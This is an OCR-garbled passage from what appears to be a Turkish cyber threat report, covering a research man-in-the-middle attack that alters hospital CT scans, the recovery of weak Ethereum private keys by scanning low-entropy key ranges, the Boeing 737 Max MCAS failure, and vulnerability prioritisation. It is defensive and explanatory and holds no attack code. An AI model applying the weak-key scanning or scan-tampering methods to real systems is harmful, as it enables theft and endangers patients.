rir (Voksel, Piksel’in 3-Boyutlu diizlemdeki karsih@idir).
Saldirnnin gergek zamanl olmasini saglamak icin egiti-
len sistem bitln bir tarama sonucunu tekrar islemek
yerine taramada kanser bulgularinin yerlestirilebilecegi
bir kesit belirler ve sadece bu kisim Gzerinde islem ya-
par. Arastirmacilar sahte/oynanmis tarama sonuglarini
Uretmek icin 888 adet gercek CT taramasi kullanmislar.

Bu tir bir saldinnin nasil yapilacagini gostermek igin
arastirmacilar génulli bir hastanenin radyoloji béla-
muinde sizma testi dizenlemigler. Bu testte bilgisayarli
tomografi taramasi yapan cihazlar tzerinde Raspberry
Pi 3B kullanarak Man-in-The-Middle saldirisi gergek-
lestiriimis. Testin adim adim igleyisi Sekil 68’de goril-
mektedir. Saldirgan (burada testi gerceklestiren aras-
tirmaci) temizlik personelinin tarama odasinin kapisini
acmasi igin gece yarisina kadar bekledikten sonra igeri
girerek tarayiciyl kontrol eden bilgisayar ile PACS su-
nucu arasina yaninda getirdigi Raspberry Pi 3B ciha-
zini yerlestirir. Burada saldirganin yaptigi sadece kablo
baglantisini kontrol bilgisayarindan cikarip Raspberry
Pi 3B’ye takmak ve Raspberry’den de kontrol bilgisa-
yarina bir kablo takmaktir (sekilde gorilen 2 numara-
Il pozisyona Raspberry Pi 3B cihazi yerlestiriliyor). Bu
sayede adimdan sonra tarama cihazindan ¢ikan bu-
tin sonuglar PACS sunucusuna génderiimeden 6nce
saldirganin yerlestirdigi Raspberry Uzerinden gecer.
Saldirgan da belli bir uzakliktan kablosuz baglantiyla
yerlestirmis oldugu cihaza erisim saglar ve bitiin so-
nuclar anlik olarak goérir ve gekismeli Uretici aglarla
egitilmis uygulamay calistirarak istedigi sonuglar tze-
rinde degisiklik yapabilir.

PACS sistemlerinde kullanilan DICOM protokolinin
tasidigi verilerin degistirilebilmesi sorunu birgok aras-
tirmaya konu olmustur. Hastanelerdeki bilgi islem per-
sonelinin bu tlr saldirilara karsi alabilecegi dnlemlerin
basinda PACS sisteminde transfer edilen verinin sifre-
lenmesi gelmektedir. Medikal ortamlarda veri gizliligine
bugline kadar oldugundan daha ¢ok 6zen gdsterilme-
lidir. Ayrica PACS sunucularinin akillica yapilandirarak
ihtiyag duyulmayan durumlarda hastane disina acil-
mamas! da alinmasi gereken diger bir dnlem olarak
g6zikmektedir.
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Her gecen glin yayginlasan blok zinciri (blockchain)
uygulamalariyla ilgili glvenlik agisindan 6énem tasiyan
degisik haberlere sik sik rastliyoruz. Bu seferki arastir-
ma blok zinciri uygulamalarinin gtvenliginin temel tasi
olan acik-gizli anahtarlar (public-private key) Uzerine.
Bu anahtar ciftleri 6zellikle Bitcoin, Ethereum, Ripple
vb. kripto para uygulamalarinda hayati énem tasiyor.
Uretilen anahtarlardan agik olani clizdaninizin acik ad-
resini elde etmede, gizli olani da ddemelerinizi baska bir
adrese goénderirken dijital olarak imzalamak igin kullani-
liyor. Bu bakimdan gizli anahtarinizin asla ifsa olmamasi
gerekiyor, bunun icin de donanimsal clizdanlardan gizli
anahtarinizi bir kagida yazip kasada saklamaya kadar
bircok farkli yol dneriliyor.

Arastirmadaki konumuz anahtarinizin nasil koruna-
cagindan cok naslil Uretildigiyle alakali. Arastirmacilar
Ethereum hesaplar Uzerinde yaptiklan arastirmalarda
bazi gizli anahtarlari agiga gikarmayi basarmiglar . Gizli
anahtarin ele gegmesiyle hesabin da ele gectigini tekrar
hatirlataim. Ethereum iglemlerinde gizli anahtarin Uretil-
mesinden ciizdan adreslerini olusturmaya giden slreg
basit¢e su sekilde isliyor:

Gizli anahtar (K) 32 bayt uzunlugunda rasgele olarak
olusturulur.

K anahtari ile secp256k1 eliptik egrisi Uzerinde islem
yapilarak acik anahtar (P) Uretilir [9].

P aclk anahtar bir 6zet fonksiyonuna sokulur
(Keccak-256), ¢iktinin son 20 bayti cizdaninizin agik
adresidir.

Ciizdan Acik Adresi

Rasgele Say Ureteci

Ozet Algoritmasi

Gizli Anahtar (KECCAK-256)]

Eliptik Egri

(secp256k1) Acik Anahtar

Sekil 69: Ethereum clizdan adresinin gizli anahtardan elde edilisi.
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Bir clizdana transfer yapacaginiz zaman o clizdanin ad-
resini kullanirsiniz. Yapilan islemi gizli anahtarinizla im-
zalarsiniz ve sistemdeki herkes sizin agik anahtarinizi
kullanarak yaptiginiz islemi dogrulayabilir. Burada kulla-
nilan eliptik egri ve 6zet algoritmasinda bilinen bir zayif-
lik olmadigini belirtelim. Sistemde olabilecek tek zayiflik
rasgele say! Uretecleri gibi gézukUyor. Arastirmacilar da
yaptiklari denemelerde kot rasgele sayi Ureteci kulla-
nan uygulamalarn gizli anahtarlarinin afise edilebilece-
gini gostermigler.

Oncelikle tanimi kétl yapilmig sireglere bir bakalim.
Standartlar 1’den buyik ve eliptik egrinin kabul ettigi
256 bitlik maksimumum saylya kadar herhangi bir sa-
ylyl gizli anahtar olarak kabul ediyor. Ayrica 6zet algo-
ritmasi girdisinin de gercekten bir gizli anahtara karsilik
gelen acik anahtar olup olmadiginin bir kontroli yok.
Arastirmacilar gizli anahtarin “1” secilme durumundan
baslamislar. Evet, dizgln bir rasgele sayi Uretecinin 256
bitlik bir rasgele sayi istediginizde 1 tGretme ihtimali yolda
ylrtrken basiniza kuyruklu yildiz diisme ihtimalinden kat
be kat dUsUktir. Ancak gergekte durum dyle mi bakalim.

Gizli anahtar olarak “1” segtigimizde buna karsilik gelen
clizdan adresi;

Keccak256_Isb160(secp256k1(1))= 0x7e5f45520
91a69125d5dfcb7b8c2659029395bdf

olarak hesaplanabilir (Isb160=¢iktinin en anlamsiz 20
bayti). Etherscan.io adresinden bu clizdani sorguladigi-
mizda gercekten bdyle bir clizdanin var oldugunu ve su
ana kadar 684 adet islem gerceklestirdigini gdrebiliyoruz
[0, (Su an clzdanda bir bakiye yok ancak olsaydi gizli
anahtar (K=1) bildigimizden istedigimiz yere yollayabile-
cektik. Bu bir hata mi1 yoksa test amacli bilerek secilmis
bir clzdan mi bilemiyoruz. Ancak buradan yola ¢ikarak
arastirmacilar baska bu tir zayif adresler olup olmaya-
cagini arastirmiglar.

Rasgele sayi Ureteclerinin zayifligi isletim sisteminin ras-
gele sayl havuzunun entropisinin ¢ok dislk olmasin-
dan kaynaklanabilecegi gibi (6rnegin sanal makineler),
hatali kodlamalar hatta zararli yazihmla da ilgili olabilir.
Arastirmacilar 256 bitlik gizli anahtari 32 bitlik 8 ayr par-
caya bélerek zayif anahtarlar Giretmisler. Ornegin bir ras-
gele sayi Uretici entropisi 32 bit olan ¢iktilar versin, bir
kodlama hatasi sebebiyle bu Uretecten 256 bitlik veri is-
tediginizde sadece son 32 biti rasgele diger bitleri 0 olan
bir ¢ikti Uretebilir.

Bu gibi durumlara gercekten rastlanilabilir mi diyerek
arastirmacilar;

000000000000000000000000000000000000000000
0000000000000000000001 ‘den baglayarak,

0000000000000000000000000000000000000000
0000000000000000FFFFFFFF’ye kadar tim anah-
tarlarin karsilik gelen acik anahtarlarini ve clizdan
adreslerini Sekil 69’deki gibi Uretmigler.
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Burada anahtarin son 32 bitindeki her deger tarandigin-
dan yaklasik 4,3 milyar gizli anahtar-cliizdan adresi cifti
Uretilmis. Ethereum’a ait tUm clizdan adreslerini (hepsi
biliniyor) hafizada tutarak Urettikleri her adresi bu tabloy-
la hizl bir sekilde karsilagtirmiglar.

Elde edilen sonuclar cok ilging. Gizli anahtardaki 8 fark-
Il kisim ayri ayri tim olasiliklarla taranarak 732 hesabin
gizli anahtari ele gecebilmis ve bu hesaplara karsilik
gelen ve gecmiste yapilan toplam 49.060 islem tespit
edilmis. Ayrica Keccak256 6zet algoritmasina bos bir
deger (string) (“ ”) girdiginizde cikan “Oxdcc703cOe-
500b653ca82273b7bfad8045d85a470” adresini kont-
rol ettiklerinde de son 3 yilda 28 islemle 373.000%’lik
kripto para gonderildigi tespit edilmis. Elbette bu para
sistem icinde kaybolan, asla kimsenin sahip olamaya-
cagi bir para, ¢lnki bos bir degere karsilik gelen gizli
bir anahtar yok! Muhtemelen bir yazilim hatasindan do-
layr sistem icinde hapsolan bir kripto para oldugu de-
gerlendiriimektedir.

Dunyanin en hizlh ve guvenilir ulagim araci olan ucaklar
bir kazaya dahil oldugunda ister istemez bitiin diinyanin
dikkatini cekiyor. Ustelik ayni markaya ait ayni model iki
ucak yaklasik 5 ay arayla 6lumcul kazalara sebep olunca
bu bir skandal olarak medyaya yansiyor.

2019 Ocak ayi verilerine gbre Boeing 737 Max ugaklari
5.000’in Uzerinde siparige ulasmig, 350°den fazla ugak
da havayolu sirketlerine teslim edilmis bulunuyordu.
Ancak 6nce Ekim 2018’de bir Boeing 737 Max ugagi
Cakarta’da diiserek 189 kisinin 6limine sebep oldu, 5
ay sonra, Mart 2019°’da da ikinci bir ugcak Etiyopya’da
havalandiktan kisa siire sonra disti; bu kazada da 157
kisi 6ldu. Bu ikinci kazanin ardindan bircok Ulke bu mo-
delin kullanimini gegici olarak durdurdu ve hava sahala-
rini bu ugaga kapatti''.

Sekil 70: Etiyopya Boeing 737 Max Kazasi''?.
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Sekil 71: Orijinal Boeing-737 motoru (solda), buyUtiimis ve yere yakinlasmis Boeing-737 MAX motoru (sagda).

Kazalarin ardindan veriler incelendiginde iki kazanin ¢ok
blylk benzerlikler igerdigi belirlendi. Yapilan analizler
ucaklarin cakiimasina 737 Max modelindeki bir yaziim
hatasinin sebep oldugunu gosterdi.

Ucgak imalatgilan farkh bir model ugak Urettiklerinde, pi-
lotlarin bu modelle ilgili bir egitim almasi ve sertifika sa-
hibi olmasi gerekmektedir. Ancak bu stre¢g hem zaman
gerektirdiginden hem de havayolu firmalar icin maliyetli
oldugundan pek tercih edilmemektedir. Boeing, klasik
737’leri kullanabilen pilotlar tarafindan kolaylikla uguru-
labilecek, yeni bir egitim sireci gerektirmeyen bir mo-
del gelistirmek icin var olan 737 modeline daha blyuk
motorlar ekleyerek 737 Max’1 satisa ¢ikardi (Sekil 71).
Ancak bunun i¢in daha blylk motorlarin eskisine kiyas-
la kanatlarnin daha ilerisine—ucagin agirhik merkezini et-
kileyecek bigimde—yerlestiriimesi gerekmisti.

Yapilan incelemede aerodinamikte yapilan degisikli-
gin, “perddvites” olusma riskini artirdigi tespit edildi.

P E=LOF B

-, Pilot nose up commands

— e

P T

.
Anti-stoll system forcing nose down

MCAS nose down commands Tl WA

Control column

Rizgardan elde edilen kaldirma kuvvetinin kaybolma-
sl anlamina gelen perddévites her ugakta olusabilen bir
durum ve pilotlar aldiklarn egitim sayesinde ucag bu
durumdan kolaylikla gikarabiliyorlar. Motorlarin yeni po-
zisyonu ucgagin aerodinamigini etkileyince, Boeing bu
sorunu ugaga MCAS adli sistemi ekleyerek yaziim des-
tegiyle dlizeltme yoluna gittil*?.

Bu sistem, gerekli gérdigi takdirde belirli sensérlerden
veri alarak ugagin hiicum agisini degistirebiliyor. MCAS,
perddvites durumu tespit ettiginde devreye girip u¢agin
acisina midahale ediyor fakat pilotlar sistemin yanlis ¢a-
histigini tespit etse bile pilotlarin kontroll ele almasina izin
vermiyor. Ugcagin kara kutusu incelendiginde, Sekil 72’de
aktarildig gibi pilotun ugagin burnunu kaldirmak icin yap-
1131 midahaleler gértindyor. Ancak MCAS sistemi pilotun
mudahalesini bile bastiracak dlgtide burnu asagi geviriyor.

Perdovites durumunun tespit edilmesi icin ucagin goév-
desinde bulunan iki adet hicum acisi sensérinin
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Sekil 72: Kara kutu incelemesi ve MCAS midahalesi.
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sadece birinden gelen veriler kullaniliyor. Veri alinan sen-
sOrin yanlis calismasl durumunda sistem de ona gére
ucagin acisini yanhs ayarlayarak c¢akilmasina sebep
olabiliyor. Tek sensér yerine iki sensdrden gelen veriler
capraz kontrol ediliyor olsaydi sistemin ¢ok daha glvenli
olacagi halen glindemdeki konulardan biri ['%,

737 Max’de yasanan sorunun sebebi tespit edildikten
sonra Boeing, hicum agisi sensdrlerinin yanlis veri sag-
lamasi durumunda ek glvenlik katmanlari olusturacak
bir yazilim giincellemesi yayinlayacagini duyurdu. Ancak
sorunun bir yaziim gtincellemesiyle giderilip giderileme-
yecegin yani sira pilotlarin ugak Gzerindeki hakimiyetine
bu denli sert bir yazihmsal midahalenin havacilik kai-
delerine ters olup olmadigi tartisiimaya devam edilecek
gibi gbézukuyor.

Ozetle, Boeing 737 Max modelinde yapilan tasarim ve
yazihm giincellemeleri ilk asamada 6n plana ¢ikiyor olsa
da yasanan kazalar sonrasinda yapilan incelemeler ugak
tasarim surecinde uygulanan bazi stratejilere dikkat ¢ek-
mistir. Ucak tasarimin klasik 737’lere benzetilerek egitim
ihtiyacinin ortadan kaldirimasi, motor-gévde kisminda
yapilan degisikliklerin ugagin aerodinamigini etkilemesi
ve MCAS sisteminin pilot miidahalesine izin vermemesi
gibi hususlar hali hazirda tartisma konusu olsa da dikkat
edilmesi gereken bir diger husus yazilim giivenligi ve gi-
venli yazilim geligtirmedir.

Yasan kazalardan sonra ugagin tasarimi ve pilotlarin
egitimi konulari kadar giivenli yazilim gelistirilmesi konu-
sunun 6nemi de bir kez daha ortaya ¢ikmistir. Kazadan
sonra ¢ikan 737 Max yaziliminin gelistiriimesi strecinde
saat Ucretliyle calisan yazilimcilardan destek alindigi-
na iliskin haber ve sdylentiler ise halen ayr bir tartisma
konusudur.

Etkin olarak zafiyet tespiti ve ydnetimi siber glivenlikte-
ki en 6nemli konularin baginda gelmektedir. Bu kisimda
kurumsal ortamlardan zafiyet ve risk yénetiminin nasil
yapilmasi gerektigi analiz edilimekte ve STM’nin inova-
tif olarak gelistirdigi CydecSys (Siber Givenlik Karar
Destek Sistemi) yaziiminin kurumsal zafiyet ve risk yo-
netimine sagladigi katkilar detaylandinimaktadir.

Bilgi teknolojileri hayatimiza getirdikleri kolayliklarla
glnlik yasantimizda, ev ve ofis islerinde her gecen gin
daha fazla kullanim alani bulmakta, bunun sonucu ola-
rak da bu sistemlere olan bagimliigimiz her gecen giin
biraz daha artmaktadir. Bilgi teknolojileri ayni zaman-
da bas donduriict bir hizda gelismekte ve buna bagl
olarak hem karmasikliklari hem de farkli sistemlere olan
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bagimliliklar artmaktadir. Bu hizli gelisim ve artan karma-
sikigin dogal bir sonucu olarak bilgi sistemlerinin zafiyet
sayisi ve cgesitliligindeki artis, siber saldirganlar icin daha
genis bir saldin yizeyi olusturarak kisi, kurum ve top-
lumlar i¢in daha fazla tehdit ve riske neden olmaktadir.

Bilindigi Uzere, siber saldirganlar tarafindan en c¢ok is-
tismar edilen zafiyet tUrt yazilm zafiyetleridir. Agik veya
Ucretli zafiyet veri tabanlan siber glvenlik uzmanlar/
sistem yoneticilerine yazihm zafiyetleriyle ilgili daha de-
tayl bilgi edinme imkani vermektedir. 1999 yilindan beri
NIST (National Institue of Standards and Technology)
tarafindan isletilen acik bir zafiyet veri tabani olan NVD
(National Vulnerability Database) zafiyet veri tabaninda
Mayis 2019 itibariyle toplam 116.000 kadar zafiyet yer
aliyordu. Bunlarin yaklasik 16.000’i gectigimiz yil tespit
edilmigtir ve son iki yilda agiklanan zafiyet sayisi (yak-
lasik 30.000) neredeyse 6nceki 5 yilda acgiklanan zafiyet
sayisina esitti. Bu sayilar yazilim zafiyetlerinden kay-
nakll saldirn yutzeyinin buydkligu ortaya koymaktadir.
Bu durum dnimuzdeki ddnemde yazilim zafiyetlerinden
kaynaklanan siber tehditlerin artarak devam edecegini
gostermektedir.

Yillara Gore Zafiyet Sayilari
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Sekil 73: Yillara gore zafiyet sayilar (Kaynak:NVD).

NVD veri tabani yillardir agik kaynak olarak zafiyet tanim-
lari, zafiyetin bulundugu Urinler, zafiyet skorlar gibi bil-
gileri tutmaktadir. Ancak driin ve zafiyet sayisinin sirekli
arttigi g6z 6niine alindiginda NVD veri tabaninin giincel
haliyle bu ihtiyaglara ne kadar cevap verebildigi de tar-
tisma konusu oluyor 'Y, NVD’de bir zafiyetin tanimlanma
sureci kabaca sdyle bir déngiiden olusuyor.

Sekil 75°te de gorildugu Uzere agik bir kaynak olan
NVD’nin aslinda zafiyetleri bulmak ve yayinlamak gibi bir
gorevi yok. Turuncu ile isaretlenen ve NVD’nin sorumlu-
lugunda olan konular temel olarak zafiyetlerle ilgili nu-
maralandirmayi (CVE-id atanmasi) ve siire¢ sonucunda
zafiyetle ilgili firma tarafindan verilen bilgilerin (zafiyetin
gecerli oldugu Urilnler, yama bilgileri vb.) analiz edilerek
yayinlanmasini kapsiyor. Zafiyeti tespit eden kisi ya da
kurulusun genelde NVD’ye dogrudan basvurma sansi
bulunmuyor. Sireci ilgili firmaya basvurarak baslatmasi
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Zafiyetin Tespiti

Zafiyetin
Yayinlanmasi

CVE-id Atanmasi Firmaya Bildirim NVD Analiz Stireci

Zafiyet Bilgileri ve
Yama Detaylarinin
NVD'ye Bildirimi

Firmanin Analiz
Sdreci

Yama Cikanlmasi

Sekil 74: Zafiyetin Yayinlanma Déngusu.

gerekiyor. Blyilk firmalarin genelde kendilerine ait bir
CVE havuzu bulunuyor ve bu havuzdan bir CVE numa-
ras| arastirmaci firmaya zafiyeti bildirdigi sirada rezerve
ediliyor.

Kuskusuz burada gonullilik ilkesi s6z konusu. Guvenlik
arastirmacisi ya da kurulus isterse bu zafiyeti saklayip
firmaya bildirmeyebilir ki “sifirinci glin zafiyeti” dedigimiz
sey de burada ortaya cikiyor. Ancak Sekil 75'te goérile-
cegi gibi aslinda sifirnci gin zafiyetleri sanildigi kadar
cok degil, bilinen zafiyetlerin etkisi ok daha fazla diye-
biliriz. Ornegin 2017’de yamasi ¢cikmadan, firmanin bil-
gisi olmadan ifsa olan toplam zafiyet sayisi sadece 14.
Elbette el altindan satilan ve halen bilmedigimiz sifirinci
gun zafiyetleri de olabilir. Ancak bu zafiyetlerin arkasin-
da devlet destekli kurumlar bile olsa (bkz. ifsa olan NSA
exploitleri) er ya da ge¢ sizacak oldugundan asagidaki
rakamlar az ¢ok bir fikir verecektir.

0. Giin Zafiyetleri
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Sekil 75: Sifirnci Giin Zafiyetleri.

SIBER TEHDIT DURUM RAPORU

thimkktech

STM Teknolojik Diisiince Merkezi

A

Daha 6nce de belirtildigi gibi, arastirmacinin zafiyeti bil-
dirmemesiyle kirilan zafiyetin yayinlanma zinciri, pekala
zafiyetli Urline sahip firma tarafindan da sekteye ugra-
tilabilir. Gunkl firmalarin zafiyet bilgisini aldiktan sonra
NVD’ye bildirme zorunlulugu yok. Cogu firma yamayi da
¢ikarmasina ragmen NVD’ye bildirmemeyi ya da geg¢ bil-
dirmeyi tercih ediyor. Hatta cogu zaman bildirmeyi unu-
tabiliyor! Asagidaki érnekte Samba’nin 4.0 stiriminden
sonrasini ilgilendiren bir zafiyetin 2018 yilinda Samba.
org adresinde yayinlandigi gorilayor . Ancak NVD’den
CVE-id rezerve edilmesine ragmen bu zafiyetin detay-
larinin NVD’ye bildirilmedigi géztkuyor "¢l. Bu durumda
tek kaynak olarak NVD’yi kullanan bir zafiyet tarayicinin
bu zafiyeti tespit etmesi mUmkiin olmuyor.

CVE-2018-16860.html

== Subject: Samba AD DC S4U2Self/s4u2Proxy unkeyed checksum

== (VE ID#: CVE-20918-16860

== Versions: All Samba versions since Samba 4.8

== All releases of Heimdal from 8.8 including 7.5.8

== and any products that ship a KDC derived from one of
== those Heimdal releases.

== Summary: The checksum validation in the SaU25elf handler in

== the embedded Heimdal KDC did not first confirm that the
= checksum was keyed, allowing replacement of the
== requested target (client) principal.

Sekil 76: Zafiyet bilgileri.

€ c

& hitps//nvd.mst.gov/vuln/de

NIST

Information Technology Laboratory

NATIONAL VULNERABILITY DATABASE

VULNERABILITIES

CVE ID Not Foundl

Sekil 77: NIST zafiyet arama moturunda ¢ikan sonug.

-2015.9903
Description: The mysql-systemd-helper script in the mysgl-community-server package
before 5.6.28-2.17.1in 0penSUSE 13.2 and before 5.6.28-13.1 in openSUSE Leap 42.1 and
the mariadb package before 10.0.22-2.21.2 in openSUSE 13.2 and before 10.0.22-3.1in
SUSE Linux Enterprise (SLE) 12.1and openSUSE Leap 42.1 allow
database credentials by listing a process and its arguments.

Sekil 78: Hatal zafiyet bilgileri (CVE-2015-5969).

Bu tur gecikmelerin yani sira, her ne kadar analistlerin
son kontrolinden gegse de zafiyetlerin taniminda da
baz hatalar olabiliyor. Sekil 78’de aktarilan CVE-2015-
5969 no’lu zafiyetin atak vektorl tanimlarinin zafiyet de-
tayiyla uyusmadig géruliyor. Saldin vektériinde herhan-
gi bir 6n kosul istenmedigi belirtilirken (privilege: none)
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zafiyet detayinda lokal bir kullanici olmamiz gerektigini
anliyoruz.

GUnumuzde yama gegilmemis herhangi bir isletim sis-
teminin yayinlanmis ilk strimlerinde 1.000’den fazla
zafiyet cikabiliyor. Tum zafiyetler ayni risk seviyesinde
olmadigi gibi hepsinin yayinlanmig bir istismar kodu da
olmayabiliyor. Asagidaki tabloda giincel bazi isletim sis-
temlerinin yama gecilmemis ve servis paketi yiklenme-
mis sUrimlerinin sahip oldugu zafiyet sayilari veriliyor. Bu
makinelerde isletim sistemi harici hicbir uygulama yuk-
lenmemis oldugunu, bu sayilarin eski isletim sistemleri
icin ¢cok daha fazla olacagini ve binlerce makinelik or-
tamlarda sadece istismar edilebilir zafiyetleri dnceliklen-
dirmenin bile gergekten zorlayici olacagini da ekleyelim.

istismar
OS\CVSS Skoru  Diisik  Orta Yiksek Conebilir

Zafiyet

Sayisi
Ubuntu 18.04 35 378 119 8
Debian 9 46 764 245 18
Windows 10 1511 224 260 400 14

Tablo 4: Giincel isletim sistemlerindeki zafiyet sayilari.

Zafiyet sayilarinin artmasinin yani sira en blyldk sorunun
zafiyetlerin 6nceliklendirilmesi oldugunu sdéyleyebiliriz.
Ornek olarak Sekil 79’daki topolojideki toplam 5 adet
zafiyeti onceliklendirmeye calisalim. Zafiyetlerin CVSS
skorlarina bakildiginda (Tablo 3) en tehlikeli gdziiken iki

Dis Tehdit

Uygulama
Sunuculari

INTERNET

ETERNAL BLUE

@

LDAP Sunucusu

POODLE

Web Sunucu

i
Veritabani Sunucusu‘

SHELLSHOCK

Web Sunucu

Web Sunucu

BLUEKEEP

|
¢

ic Tehdit

Sekil 79: Ornek zafiyet 6nceliklendirme.
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zafiyetin 10 CVSS skorlari ile “BlueKeep” ve “ShellShock”
oldugunu gériiyoruz. Genellikle bir uygulama veya web
sunucusunun ele gegmesi bir ¢alisan bilgisayarinin ele
gecmesinden daha biylUk zarar verebilir, dolayisiyla ilk
bakista énceligimiz bu iki zafiyet gibi gértiniyor. Ancak
gercekten oyle mi? Calisan bilgisayarindan ag icinde
nerelere kadar sizabilecegiyle ilgili detayli bir analiz ya-
parsak ve glvenlik duvar ile IDS cihazindaki imzalar da
degerlendirirsek sdyle bir durumla karsi karsiya kaliriz.

ETERNALBLUE zafiyetini istismar etmek igin 445 no’lu
portun agik olmasi gerekir, ayrica glincel bir IDS’de imza
bulunmaktadir. Dolayisiyla bir dis tehdidin bu zafiyeti
sémuremeyecegini disinebiliriz. BLUEKEEP zafiyetinin
heniiz IDS imzasi gcikmamis olabilir, ancak DMZ (izerinde
RDP portunun agik olmayacagini varsayarsak dis tehdit
yine bu zafiyeti sémuremeyecektir.

BLUEBORNE zafiyeti bluetooth ile ilgilidir ve gelenek-
sel glvenlik duvari ve IDS ile tespiti imkansizdir. Bu za-
fiyet kullanilarak cihaz ele gegirildiginde ise uygulama
sunucularindan LDAP sunucusuna erisilebilir. Buradaki
POODLE zafiyetiyle de aradaki sifreli trafigin okunabil-
mesi sonucu kullanicilarin kimlik bilgileri agciga cikara-
caktir. Saldirgan kimlik bilgileri ile agdaki birgok noktaya
erisebilir.

SHELLSHOCK zafiyetinin oldugu makineye sadece
DMZ’den erisim vardir. Mevcut kurallarla DMZ’deki bir ci-
hazi ele geciremiyorsa buradaki zafiyeti de sémiremez.

Bu ilging 6rnekte gérdiigimuz gibi CVSS skorlarinin ger-
¢cek hayatta tek basina bir anlami yoktur. Mutlaka given-
lik duvar, IDS, istismar kodu bilgileri, tehdit lokasyonlari

Galisan-->Veritabani

i Calisan
| Bilgisayarlari
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CVSs

Zafiyet Skoru Diger Bilgiler

ETERNALBLUE 9.3 IDS tarafinda imzasi mevcut.

BLUEKEEP 10.0 Guvenlik duvarinda engellenir.

POODLE 4.3 Sadece calisan agindan
erisim var.

SHELLSHOCK 10.0 Sadece DMZ’den erisim var.

BLUEBORNE 8.3 Yakin bir erisim gerekli

(Bluetooth)
Tablo 5: Zafiyetler ve skor bilgileri.

vb. parametrelerle ve birgcok farkl senaryonun analiziyle
birlikte risk dnceliklendirmesi yapilmalidir. Bilgi sistemle-
rindeki gelisme ve artan karmasikliga paralel olarak zafi-
yet sayisi ve gesitliliginin hizla arttig bir ortamda koruyu-
cu ve Onleyici tedbirler alinmasinda subjektif yéntemler
yerine daha hizli, dnceliklendiriimis ve optimal fayda sag-
layacak rasyonel kararlar alinabilmesi icin karar destek
sistemlerine ihtiya¢g duyulmaktadir.

Karar destek sistemleri, veri ve modellerin etkin kulla-
nimiyla karmagik problemlerin ¢ézimiine ve insanlarin
karar vermesine yardimci olan bilgisayar tabanli sistem-
leridir. Siber guvenlik karar destek sistemleri ise siber
glvenlik uzmanlar ve sistem yoéneticilerine durumsal
farkindalk saglayip, sistem risk degerlendirmesi yapa-
rak ve koruyucu/6nleyici tedbirler 6nererek hizl ve énce-
liklendirilmis rasyonel kararlar alinmasina yardimci olan
sistemlerdir.

Zafiyet yonetimindeki bir diger husus da envanter yone-
timini saglamaktir. Kabaca sdyleyecek olursak elinizde
ne oldugunu bilmiyorsaniz onu savunamazsiniz. Eger
zafiyet tarama araciniz bir envanter yénetim aracindan
beslenmiyor ya da ag cihazlariyla bitlnlesik bir sekil-
de calisip taranabilecek alt ag ve cihazlan otomatik bir
sekilde tespit edemiyorsa muhtemelen bir seyler kagiri-
yorsunuzdur. Kiyida késede kalmis test sistemleri, gecici
olarak acilmis ancak unutulup kapatiimamis sunucular
gibi envantere dahi girmemis cihazlar sadece IP adresi
ile arama yapildiginda tespit edilemeyecektir.

Son olarak kurumsal zafiyet yonetiminde asagidaki mad-
delere uyulmasini éneririz.

Guvenlik duvarinizdan zafiyet tarayicilarin calismasi
icin gerekli adreslere ulagsmak igin gerekli izinleri ta-
nimlayin.

Windows ile ¢calisan cihazlarda yerel yetKkili kullanici
seviyesinde, Linux ile ¢alisan cihazlarda standart
kullanici seviyesinde kullanicilar tanimlayarak bu
kullanicilarla tarama yapin. Kullanici tanimlama-
dan yaptiginiz taramalarda ¢odu zafiyetin tespit
edilemeyebilecedini ve sayinin gercek zafiyet sa-
yisinin oldukga altinda cikabilecegini g6z dnlinde
bulundurun.
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isletim Sistemi Kullanici Kullanici
s Tanimlamadan Tanimlayarak
Windows 10 1511 15 884

Ubuntu 16.04 62 1101

Tablo 6: Zafiyet tarama ydntemleri/Zafiyet sayilan (kullanicili-kul-
lanicisiz tarama).

Sadece zafiyet tarayici kullaniyorsaniz énceliklendir-
meyi kendiniz yapmaya c¢alisin. Varliklariniza mutlaka
bir deger verin. Onemli bilgilerin oldugdu bir veri tabani
isleten sunucuyu kaybetmekle, calisanin dizisti ci-
hazinin ele gecirilmesinin ayni etkiyi yaratmayacagini
unutmayin. Dolayisiyla ayni zafiyet ikisinin de Gizerin-
de varsa degderi yiksek makinelerden baslayin.

Guvenlik duvarn kurallanni giren birimlerle ortak cali-
sin. Bir zafiyeti hemen kapatamiyorsaniz ve ag tabanli
istismar edilebiliyorsa ilgili portlar gecici olarak ka-
patma yolunu segin.

Guvenlik duvar, IDS, antiviris vb. yazihmlardan ge-
len uyarilar zafiyet kapatma sirecinde dikkatle ince-
lenmelidir. Agdaki bir makinenin ele gecmesi zafiyet
barindiran diger makinelere de erisim saglayabilece-
ginden tum riskinizi degistirecektir. Bir karar destek
sistemi kullanmiyorsaniz manuel olarak tanimladigi-
niz tehdit noktalarindan, givenlik duvari kurallar ve
istismar edilebilen zafiyetlerle birlikte hangi cihazlarin
tehdit altinda oldugunu tespit edip énceliklendirmeni-
Zi yapin.

Sisteminizde en ¢ok yer alan uygulamalari éncelik-
lendirmeye de caligabilirsiniz. Ornegdin ayni skora
sahip iki zafiyet Tomcat ve Chrome uygulamalarini
ilgilendirsin. Aginizda Tomcat sadece 2-3 sunucuda
bulunuyor, Chrome ise olagan bir sekilde ylzlerce ug
noktada bulunuyorsa onceliklendirmeniz Chrome’u
ilgilendiren zafiyet olmalidir.

Farkh alt aglar farkl is birimlerine ayriimigsa zafiyet
yonetimini mutlaka Ust seviyede incelemeye calisin.
Ornegin insan Kaynaklar bélimiine ait cihazlarinin
oldugu alt ag, Finans biriminin cihazlarinin oldugu alt
agdan farkli ve yonetimleri de farkli kisilerde ise zafi-
yetleri is birimi bazinda degerlendirmeniz size dnce-
liklendirme icin ¢cok blylk bir avantaj saglayacaktir.

istismar kodlarinin yayinlandigi agik kaynaklari (exp-
loit-db, metasploit, ...) takip edin. CUnku statik olarak
skorlanmis zafiyetlerin istismar kodu yayinlandiginda
da skoru degismeyecek ancak sisteminize verebile-

ceQi zarar artacaktur.

39



thimnkktech

STM Teknolojik Diisiince Merkezi

A

14.1. CyDecSys™ (Cyber Decision Support
System)

Bu incelemede, Savunma Teknolojileri Mihendislik ve
Ticaret A.S. (STM) tarafindan siber glvenlik uzmanlari ve
sistem yoneticilerinin zafiyet ydnetiminde 6nceliklendi-
rilmis rasyonel kararlar almasini saglamak icin gelistiril-
mis olan CyDecSys™ (Cyber Decision Support System)
yazilimi ele alinmaktadir. Bir siber glvenlik karar destek
sistemi olarak CyDecSys™ klasik zafiyet tarama aragla-
rindan farkli olarak asagidaki 6zellikleri sunmaktadir.

14.1.1. AG VE VARLIK KESFi

